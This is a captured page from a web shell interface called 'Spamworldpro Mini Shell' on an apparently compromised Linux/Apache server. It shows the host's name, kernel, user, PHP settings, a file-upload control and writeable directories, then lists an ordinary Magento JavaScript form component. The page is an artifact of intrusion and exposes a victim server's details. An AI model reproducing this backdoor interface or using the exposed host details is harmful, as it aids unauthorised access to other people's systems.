Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seobase/view/adminhtml/web/js/form/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seobase/view/adminhtml/web/js/form/components/group.js
/**
 * Copyright © 2018 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */

define([
    'uiRegistry',
    'Magento_Ui/js/form/components/group'
], function (uiRegistry, Group) {
    'use strict';

    return Group.extend({

        /**
         * Set Product Id and Product Name
         *
         * @param {String} productId
         * @param {String} productName
         */
        selectProduct: function (productId, productName) {

            var productIdField     = uiRegistry.get('index = ' + this.indexies.product_id);
            var productLabelField  = uiRegistry.get('index = ' + this.indexies.product_label);
            var productGridModal   = uiRegistry.get('index = ' + this.indexies.product_grid_modal);

            productIdField.value(productId);
            productLabelField.value(productName);
            productGridModal.toggleModal();
        },

        /**
         * Show element.
         *
         * @returns {Group} Chainable.
         */
        show: function () {
            this.visible(true);

            return this;
        },

        /**
         * Hide element.
         *
         * @returns {Group} Chainable.
         */
        hide: function () {
            this.visible(false);

            return this;
        }
    });
});

Spamworldpro Mini